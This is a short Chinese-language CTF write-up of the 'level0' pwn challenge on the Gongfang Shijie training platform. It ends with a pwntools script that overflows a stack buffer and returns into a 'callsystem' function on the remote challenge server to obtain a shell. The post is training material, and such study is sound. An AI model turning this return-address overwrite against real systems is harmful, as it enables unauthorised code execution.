*pwn*练习3——攻防世界-level0

file level0,再查一下这个文件的保护机制

 

 

64位,拖进ida

 

 比较简单,跟进函数

 

 想到溢出,读入200个字节,比较大的

 

 没有什么有用的信息了,查找字符串

 

 猜测flag可能是在文件中

 

 进一步跟进后,反汇编是这个样子,想到通过栈溢出来覆盖,改变地址来跳转到callsystem函数处。

# -*- coding: utf-8 -*-
from pwn import *
kubopiy=remote("220.249.52.133",36491)#进行连接
payload=b'a'*(0x80+8)+p64(0x400596)#b是字节,填入这么多的a,再加一个打包好的函数地址
kubopiy.recvuntil("Hello, World")#接收到那一句话
kubopiy.sendline(payload)
kubopiy.interactive()

为什么要多加8,因为要覆盖掉原来的地址,这样再搞新的的地址就可以直接跳转了

 

posted @ 2020-08-26 14:25  kubopiy  阅读(163)  评论(0编辑  收藏  举报